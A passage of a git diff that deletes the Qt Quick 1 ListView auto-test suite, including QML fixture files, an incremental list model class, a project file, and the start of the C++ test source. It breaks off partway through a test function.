delegate: myDelegate - section.property: sectionProperty - section.delegate: Rectangle { - objectName: "sect_" + section - color: "#99bb99" - height: 20 - width: list.width - Text { text: section } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/listviewtest.qml b/tests/auto/qtquick1/qdeclarativelistview/data/listviewtest.qml deleted file mode 100644 index 75ddabbb86..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/listviewtest.qml +++ /dev/null @@ -1,133 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - width: 240 - height: 320 - color: "#ffffff" - - property int count: list.count - property bool showHeader: false - property bool showFooter: false - property real hr: list.visibleArea.heightRatio - function heightRatio() { - return list.visibleArea.heightRatio - } - - function checkProperties() { - testObject.error = false; - if (list.model != testModel) { - console.log("model property incorrect"); - testObject.error = true; - } - if (!testObject.animate && list.delegate != myDelegate) { - console.log("delegate property incorrect - expected myDelegate"); - testObject.error = true; - } - if (testObject.animate && list.delegate != animatedDelegate) { - console.log("delegate property incorrect - expected animatedDelegate"); - testObject.error = true; - } - if (testObject.invalidHighlight && list.highlight != invalidHl) { - console.log("highlight property incorrect - expected invalidHl"); - testObject.error = true; - } - if (!testObject.invalidHighlight && list.highlight != myHighlight) { - console.log("highlight property incorrect - expected myHighlight"); - testObject.error = true; - } - } - resources: [ - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: 20 - width: 240 - Text { - text: index - } - Text { - x: 30 - id: textName - objectName: "textName" - text: name - } - Text { - x: 120 - id: textNumber - objectName: "textNumber" - text: number - } - Text { - x: 200 - text: wrapper.y - } - color: ListView.isCurrentItem ? "lightsteelblue" : "white" - } - }, - Component { - id: animatedDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: 20 - width: 240 - Text { - text: index - } - Text { - x: 30 - id: textName - objectName: "textName" - text: name - } - Text { - x: 120 - id: textNumber - objectName: "textNumber" - text: number - } - Text { - x: 200 - text: wrapper.y - } - color: ListView.isCurrentItem ? "lightsteelblue" : "white" - ListView.onRemove: SequentialAnimation { - PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" } - PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false } - - } - } - }, - Component { - id: myHighlight - Rectangle { color: "green" } - }, - Component { - id: invalidHl - SmoothedAnimation {} - }, - Component { - id: headerFooter - Rectangle { height: 30; width: 240; color: "blue" } - } - ] - ListView { - id: list - objectName: "list" - focus: true - width: 240 - height: 320 - model: testModel - delegate: testObject.animate ? animatedDelegate : myDelegate - highlight: testObject.invalidHighlight ? invalidHl : myHighlight - highlightMoveSpeed: 1000 - highlightResizeSpeed: 1000 - cacheBuffer: testObject.cacheBuffer - header: root.showHeader ? headerFooter : null - footer: root.showFooter ? headerFooter : null - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/manual-highlight.qml b/tests/auto/qtquick1/qdeclarativelistview/data/manual-highlight.qml deleted file mode 100644 index a32a19492c..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/manual-highlight.qml +++ /dev/null @@ -1,47 +0,0 @@ -import QtQuick 1.0 - -Item { - - ListModel { - id: model - ListElement { - name: "Bill Smith" - number: "555 3264" - } - ListElement { - name: "John Brown" - number: "555 8426" - } - ListElement { - name: "Sam Wise" - number: "555 0473" - } - ListElement { - name: "Bob Brown" - number: "555 5845" - } - } - - Component { - id: highlight - Rectangle { - objectName: "highlight" - width: 180; height: 20 - color: "lightsteelblue"; radius: 5 - y: list.currentItem.y+5 - } - } - - ListView { - id: list - objectName: "list" - anchors.fill: parent - model: model - delegate: Text { objectName: "wrapper"; text: name } - - highlight: highlight - highlightFollowsCurrentItem: false - focus: true - } - -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/orientchange.qml b/tests/auto/qtquick1/qdeclarativelistview/data/orientchange.qml deleted file mode 100644 index c7aa0cd1d3..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/orientchange.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -ListView { - width: 240; height: 320 - delegate: Rectangle { objectName: "wrapper"; width: 80; height: 80 } - model: 100 -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/propertychangestest.qml b/tests/auto/qtquick1/qdeclarativelistview/data/propertychangestest.qml deleted file mode 100644 index 04bec59abf..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/propertychangestest.qml +++ /dev/null @@ -1,71 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 180; height: 120; color: "white" - Component { - id: delegate - Item { - id: wrapper - width: 180; height: 40; - Column { - x: 5; y: 5 - Text { text: 'Name: ' + name } - Text { text: 'Number: ' + number } - } - } - } - Component { - id: highlightRed - Rectangle { - color: "red" - radius: 10 - opacity: 0.5 - } - } - ListView { - objectName: "listView" - anchors.fill: parent - model: listModel - delegate: delegate - highlight: highlightRed - focus: true - highlightFollowsCurrentItem: true - preferredHighlightBegin: 0.0 - preferredHighlightEnd: 0.0 - highlightRangeMode: ListView.ApplyRange - keyNavigationWraps: true - cacheBuffer: 10 - snapMode: ListView.SnapToItem - } - - data:[ - ListModel { - id: listModel - ListElement { - name: "Bill Smith" - number: "555 3264" - } - ListElement { - name: "John Brown" - number: "555 8426" - } - ListElement { - name: "Sam Wise" - number: "555 0473" - } - }, - ListModel { - objectName: "alternateModel" - ListElement { - name: "Jack" - number: "555 8426" - } - ListElement { - name: "Mary" - number: "555 3264" - } - } - ] -} - - diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/qtbug14821.qml b/tests/auto/qtquick1/qdeclarativelistview/data/qtbug14821.qml deleted file mode 100644 index e0303ecaa3..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/qtbug14821.qml +++ /dev/null @@ -1,31 +0,0 @@ -import QtQuick 1.0 - -ListView { - id: view - width: 300; height: 200 - focus: true - keyNavigationWraps: true - - model: 100 - - preferredHighlightBegin: 90 - preferredHighlightEnd: 110 - - highlightRangeMode: ListView.StrictlyEnforceRange - highlight: Component { - Rectangle { - border.color: "blue" - border.width: 3 - color: "transparent" - width: 300; height: 15 - } - } - - delegate: Component { - Item { - height: 15 + (view.currentIndex == index ? 20 : 0) - width: 200 - Text { text: 'Index: ' + index; anchors.verticalCenter: parent.verticalCenter } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/qtbug16037.qml b/tests/auto/qtquick1/qdeclarativelistview/data/qtbug16037.qml deleted file mode 100644 index 0756618a60..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/qtbug16037.qml +++ /dev/null @@ -1,37 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 640 - height: 480 - - function setModel() { - listView.model = listModel1 - } - - ListModel { - id: listModel1 - ListElement { text: "Apple" } - ListElement { text: "Banana" } - ListElement { text: "Orange" } - ListElement { text: "Coconut" } - } - - Rectangle { - width: 200 - height: listView.contentHeight - color: "yellow" - anchors.centerIn: parent - - ListView { - id: listView - objectName: "listview" - anchors.fill: parent - - delegate: Item { - width: 200 - height: 20 - Text { text: model.text; anchors.centerIn: parent } - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/rightToLeft.qml b/tests/auto/qtquick1/qdeclarativelistview/data/rightToLeft.qml deleted file mode 100644 index 1e92bb3cbd..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/rightToLeft.qml +++ /dev/null @@ -1,42 +0,0 @@ -// This example demonstrates how item positioning -// changes in right-to-left layout direction - -import QtQuick 1.1 - -Rectangle { - color: "lightgray" - width: 640 - height: 320 - - VisualItemModel { - id: itemModel - objectName: "itemModel" - Rectangle { - objectName: "item1" - height: view.height; width: 100; color: "#FFFEF0" - Text { objectName: "text1"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item2" - height: view.height; width: 200; color: "#F0FFF7" - Text { objectName: "text2"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item3" - height: view.height; width: 240; color: "#F4F0FF" - Text { objectName: "text3"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - } - - ListView { - id: view - objectName: "view" - anchors.fill: parent - anchors.bottomMargin: 30 - model: itemModel - highlightRangeMode: "StrictlyEnforceRange" - orientation: ListView.Horizontal - flickDeceleration: 2000 - layoutDirection: Qt.RightToLeft - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/sizelessthan1.qml b/tests/auto/qtquick1/qdeclarativelistview/data/sizelessthan1.qml deleted file mode 100644 index 77bfef8e57..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/sizelessthan1.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 240 - height: 320 - color: "#ffffff" - Component { - id: myDelegate - Rectangle { - id: wrapper - objectName: "wrapper" - height: 0.5 - width: 240 - color: ((index % 2) == 1 ? "red" : "blue") - } - } - ListView { - id: list - objectName: "list" - focus: true - width: 240 - height: 320 - model: testModel - delegate: myDelegate - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/data/strictlyenforcerange.qml b/tests/auto/qtquick1/qdeclarativelistview/data/strictlyenforcerange.qml deleted file mode 100644 index bb77a77cf3..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/data/strictlyenforcerange.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -ListView { - id: list - objectName: "list" - width: 320 - height: 480 - - function fillModel() { - list.model.append({"col": "red"}); - list.currentIndex = list.count-1 - list.model.append({"col": "blue"}); - list.currentIndex = list.count-1 - list.model.append({"col": "green"}); - list.currentIndex = list.count-1 - } - - model: ListModel { id: listModel } // empty model - delegate: Rectangle { id: wrapper; objectName: "wrapper"; color: col; width: 300; height: 400 } - orientation: "Horizontal" - snapMode: "SnapToItem" - cacheBuffer: 1000 - - preferredHighlightBegin: 10 - preferredHighlightEnd: 10 - - highlightRangeMode: "StrictlyEnforceRange" - focus: true -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/incrementalmodel.cpp b/tests/auto/qtquick1/qdeclarativelistview/incrementalmodel.cpp deleted file mode 100644 index 7db6c8b20a..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/incrementalmodel.cpp +++ /dev/null @@ -1,89 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "incrementalmodel.h" -#include -#include - -IncrementalModel::IncrementalModel(QObject *parent) - : QAbstractListModel(parent), count(0) -{ - for (int i = 0; i < 100; ++i) - list.append("Item " + QString::number(i)); -} - -int IncrementalModel::rowCount(const QModelIndex & /* parent */) const -{ - return count; -} - -QVariant IncrementalModel::data(const QModelIndex &index, int role) const -{ - if (!index.isValid()) - return QVariant(); - - if (index.row() >= list.size() || index.row() < 0) - return QVariant(); - - if (role == Qt::DisplayRole) - return list.at(index.row()); - return QVariant(); -} - -bool IncrementalModel::canFetchMore(const QModelIndex & /* index */) const -{ - if (count < list.size()) - return true; - else - return false; -} - -void IncrementalModel::fetchMore(const QModelIndex & /* index */) -{ - int remainder = list.size() - count; - int itemsToFetch = qMin(5, remainder); - - beginInsertRows(QModelIndex(), count, count+itemsToFetch-1); - - count += itemsToFetch; - - endInsertRows(); -} diff --git a/tests/auto/qtquick1/qdeclarativelistview/incrementalmodel.h b/tests/auto/qtquick1/qdeclarativelistview/incrementalmodel.h deleted file mode 100644 index bf524d16e6..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/incrementalmodel.h +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef IncrementalModel_H -#define IncrementalModel_H - -#include -#include -#include - -class IncrementalModel : public QAbstractListModel -{ - Q_OBJECT - -public: - IncrementalModel(QObject *parent = 0); - - int rowCount(const QModelIndex &parent = QModelIndex()) const; - QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const; - -protected: - bool canFetchMore(const QModelIndex &parent) const; - void fetchMore(const QModelIndex &parent); - -private: - QStringList list; - int count; -}; - -#endif diff --git a/tests/auto/qtquick1/qdeclarativelistview/qdeclarativelistview.pro b/tests/auto/qtquick1/qdeclarativelistview/qdeclarativelistview.pro deleted file mode 100644 index 1f66d7f45f..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/qdeclarativelistview.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativelistview -macx:CONFIG -= app_bundle - -HEADERS += incrementalmodel.h -SOURCES += tst_qdeclarativelistview.cpp incrementalmodel.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/qtquick1/qdeclarativelistview/tst_qdeclarativelistview.cpp deleted file mode 100644 index 909c118330..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistview/tst_qdeclarativelistview.cpp +++ /dev/null @@ -1,2892 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "incrementalmodel.h" - -class tst_QDeclarative1ListView : public QObject -{ - Q_OBJECT -public: - tst_QDeclarative1ListView(); - -private slots: - // Test both QListModelInterface and QAbstractItemModel model types - void qListModelInterface_items(); - void qAbstractItemModel_items(); - - void qListModelInterface_changed(); - void qAbstractItemModel_changed(); - - void qListModelInterface_inserted(); - void qAbstractItemModel_inserted(); - - void qListModelInterface_removed(); - void qAbstractItemModel_removed(); - - void qListModelInterface_moved(); - void qAbstractItemModel_moved(); - - void qListModelInterface_clear(); - void qAbstractItemModel_clear(); - - void itemList(); - void currentIndex(); - void noCurrentIndex(); - void enforceRange(); - void spacing(); - void sections(); - void sectionsDelegate(); - void cacheBuffer(); - void positionViewAtIndex(); - void resetModel(); - void propertyChanges(); - void componentChanges(); - void modelChanges(); - void QTBUG_9791(); - void manualHighlight(); - void QTBUG_11105(); - void header(); - void footer(); - void headerFooter(); - void resizeView(); - void sizeLessThan1(); - void QTBUG_14821(); - void resizeDelegate(); - void QTBUG_16037(); - void indexAt(); - void incrementalModel(); - void onAdd(); - void onAdd_data(); - void onRemove(); - void onRemove_data(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - void rightToLeft(); - void test_mirroring(); - void orientationChange(); - void contentPosJump(); - -private: - template void items(); - template void changed(); - template void inserted(); - template void removed(bool animated); - template void moved(); - template void clear(); - QDeclarativeView *createView(); - template - T *findItem(QGraphicsObject *parent, const QString &id, int index=-1); - template - QList findItems(QGraphicsObject *parent, const QString &objectName); - void dumpTree(QDeclarativeItem *parent, int depth = 0); -}; - -class TestObject : public QObject -{ - Q_OBJECT - - Q_PROPERTY(bool error READ error WRITE setError NOTIFY changedError) - Q_PROPERTY(bool animate READ animate NOTIFY changedAnim) - Q_PROPERTY(bool invalidHighlight READ invalidHighlight NOTIFY changedHl) - Q_PROPERTY(int cacheBuffer READ cacheBuffer NOTIFY changedCacheBuffer) - -public: - TestObject(QObject *parent = 0) - : QObject(parent), mError(true), mAnimate(false), mInvalidHighlight(false) - , mCacheBuffer(0) {} - - bool error() const { return mError; } - void setError(bool err) { mError = err; emit changedError(); } - - bool animate() const { return mAnimate; } - void setAnimate(bool anim) { mAnimate = anim; emit changedAnim(); } - - bool invalidHighlight() const { return mInvalidHighlight; } - void setInvalidHighlight(bool invalid) { mInvalidHighlight = invalid; emit changedHl(); } - - int cacheBuffer() const { return mCacheBuffer; } - void setCacheBuffer(int buffer) { mCacheBuffer = buffer; emit changedCacheBuffer(); } - -signals: - void changedError(); - void changedAnim(); - void changedHl(); - void changedCacheBuffer(); - -public: - bool mError; - bool mAnimate; - bool mInvalidHighlight; - int mCacheBuffer; -}; - -class TestModel : public QListModelInterface -{ - Q_OBJECT -public: - TestModel(QObject *parent = 0) : QListModelInterface(parent) {} - ~TestModel() {} - - enum Roles { Name, Number }; - - QString name(int index) const { return list.at(index).first; } - QString number(int index) const { return list.at(index).second; } - - int count() const { return list.count(); } - - QList roles() const { return QList() << Name << Number; } - QString toString(int role) const { - switch(role) { - case Name: - return "name"; - case Number: - return "number"; - default: - return ""; - } - } - - QVariant data(int index, int role) const - { - if (role==0) - return list.at(index).first; - if (role==1) - return list.at(index).second; - return QVariant(); - } - QHash data(int index, const QList &roles) const { - QHash returnHash; - - for (int i = 0; i < roles.size(); ++i) { - int role = roles.at(i); - QVariant info; - switch(role) { - case Name: - info = list.at(index).first; - break; - case Number: - info = list.at(index).second; - break; - default: - break; - } - returnHash.insert(role, info); - } - return returnHash; - } - - void addItem(const QString &name, const QString &number) { - list.append(QPair(name, number)); - emit itemsInserted(list.count()-1, 1); - } - - void insertItem(int index, const QString &name, const QString &number) { - list.insert(index, QPair(name, number)); - emit itemsInserted(index, 1); - } - - void removeItem(int index) { - list.removeAt(index); - emit itemsRemoved(index, 1); - } - - void removeItems(int index, int count) { - int c = count; - while (c--) - list.removeAt(index); - emit itemsRemoved(index, count); - } - - void moveItem(int from, int to) { - list.move(from, to); - emit itemsMoved(from, to, 1); - } - - void modifyItem(int index, const QString &name, const QString &number) { - list[index] = QPair(name, number); - emit itemsChanged(index, 1, roles()); - } - - void clear() { - int count = list.count(); - list.clear(); - emit itemsRemoved(0, count); - } - -private: - QList > list; -}; - - -class TestModel2 : public QAbstractListModel -{ -public: - enum Roles { Name = Qt::UserRole+1, Number = Qt::UserRole+2 }; - - TestModel2(QObject *parent=0) : QAbstractListModel(parent) { - QHash roles; - roles[Name] = "name"; - roles[Number] = "number"; - setRoleNames(roles); - } - - int rowCount(const QModelIndex &parent=QModelIndex()) const { Q_UNUSED(parent); return list.count(); } - QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const { - QVariant rv; - if (role == Name) - rv = list.at(index.row()).first; - else if (role == Number) - rv = list.at(index.row()).second; - - return rv; - } - - int count() const { return rowCount(); } - QString name(int index) const { return list.at(index).first; } - QString number(int index) const { return list.at(index).second; } - - void addItem(const QString &name, const QString &number) { - emit beginInsertRows(QModelIndex(), list.count(), list.count()); - list.append(QPair(name, number)); - emit endInsertRows(); - } - - void addItems(const QList > &items) { - emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1); - for (int i=0; i(items[i].first, items[i].second)); - emit endInsertRows(); - } - - void insertItem(int index, const QString &name, const QString &number) { - emit beginInsertRows(QModelIndex(), index, index); - list.insert(index, QPair(name, number)); - emit endInsertRows(); - } - - void removeItem(int index) { - emit beginRemoveRows(QModelIndex(), index, index); - list.removeAt(index); - emit endRemoveRows(); - } - - void removeItems(int index, int count) { - emit beginRemoveRows(QModelIndex(), index, index+count-1); - while (count--) - list.removeAt(index); - emit endRemoveRows(); - } - - void moveItem(int from, int to) { - emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to); - list.move(from, to); - emit endMoveRows(); - } - - void modifyItem(int idx, const QString &name, const QString &number) { - list[idx] = QPair(name, number); - emit dataChanged(index(idx,0), index(idx,0)); - } - - void clear() { - int count = list.count(); - emit beginRemoveRows(QModelIndex(), 0, count-1); - list.clear(); - emit endRemoveRows(); - } - -private: - QList > list; -}; - -tst_QDeclarative1ListView::tst_QDeclarative1ListView() -{ -} - -template -void tst_QDeclarative1ListView::items() -{ - QDeclarativeView *canvas = createView(); - - T model; - model.addItem("Fred", "12345"); - model.addItem("John", "2345"); - model.addItem("Bob", "54321"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); - QTRY_VERIFY(testObject->error() == false); - - QTRY_VERIFY(listview->highlightItem() != 0); - QTRY_COMPARE(listview->count(), model.count()); - QTRY_COMPARE(canvas->rootObject()->property("count").toInt(), model.count()); - QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item - - // current item should be first item - QTRY_COMPARE(listview->currentItem(), findItem(contentItem, "wrapper", 0)); - - for (int i = 0; i < model.count(); ++i) { - QDeclarative1Text *name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - // switch to other delegate - testObject->setAnimate(true); - QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); - QTRY_VERIFY(testObject->error() == false); - QTRY_VERIFY(listview->currentItem()); - - // set invalid highlight - testObject->setInvalidHighlight(true); - QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); - QTRY_VERIFY(testObject->error() == false); - QTRY_VERIFY(listview->currentItem()); - QTRY_VERIFY(listview->highlightItem() == 0); - - // back to normal highlight - testObject->setInvalidHighlight(false); - QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); - QTRY_VERIFY(testObject->error() == false); - QTRY_VERIFY(listview->currentItem()); - QTRY_VERIFY(listview->highlightItem() != 0); - - // set an empty model and confirm that items are destroyed - T model2; - ctxt->setContextProperty("testModel", &model2); - - int itemCount = findItems(contentItem, "wrapper").count(); - QTRY_VERIFY(itemCount == 0); - - QTRY_COMPARE(listview->highlightResizeSpeed(), 1000.0); - QTRY_COMPARE(listview->highlightMoveSpeed(), 1000.0); - - delete canvas; - delete testObject; -} - - -template -void tst_QDeclarative1ListView::changed() -{ - QDeclarativeView *canvas = createView(); - - T model; - model.addItem("Fred", "12345"); - model.addItem("John", "2345"); - model.addItem("Bob", "54321"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1Flickable *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.modifyItem(1, "Will", "9876"); - QDeclarative1Text *name = findItem(contentItem, "textName", 1); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(1)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 1); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(1)); - - delete canvas; - delete testObject; -} - -template -void tst_QDeclarative1ListView::inserted() -{ - QDeclarativeView *canvas = createView(); - - T model; - model.addItem("Fred", "12345"); - model.addItem("John", "2345"); - model.addItem("Bob", "54321"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.insertItem(1, "Will", "9876"); - - QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item - - QDeclarative1Text *name = findItem(contentItem, "textName", 1); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(1)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 1); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(1)); - - // Confirm items positioned correctly - for (int i = 0; i < model.count(); ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QTRY_COMPARE(item->y(), i*20.0); - } - - model.insertItem(0, "Foo", "1111"); // zero index, and current item - - QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count()); - QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item - - name = findItem(contentItem, "textName", 0); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(0)); - number = findItem(contentItem, "textNumber", 0); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(0)); - - QTRY_COMPARE(listview->currentIndex(), 1); - - // Confirm items positioned correctly - for (int i = 0; i < model.count(); ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QTRY_COMPARE(item->y(), i*20.0); - } - - for (int i = model.count(); i < 30; ++i) - model.insertItem(i, "Hello", QString::number(i)); - - listview->setContentY(80); - - // Insert item outside visible area - model.insertItem(1, "Hello", "1324"); - - QTRY_VERIFY(listview->contentY() == 80); - - // Confirm items positioned correctly - for (int i = 5; i < 5+15; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.0 - 20.0); - } - -// QTRY_COMPARE(listview->contentItemHeight(), model.count() * 20.0); - - // QTBUG-19675 - model.clear(); - model.insertItem(0, "Hello", "1234"); - QDeclarativeItem *item = findItem(contentItem, "wrapper", 0); - QVERIFY(item); - QCOMPARE(item->y(), 0.); - QVERIFY(listview->contentY() == 0); - - delete canvas; - delete testObject; -} - -template -void tst_QDeclarative1ListView::removed(bool animated) -{ - QDeclarativeView *canvas = createView(); - - T model; - for (int i = 0; i < 50; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - testObject->setAnimate(animated); - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - 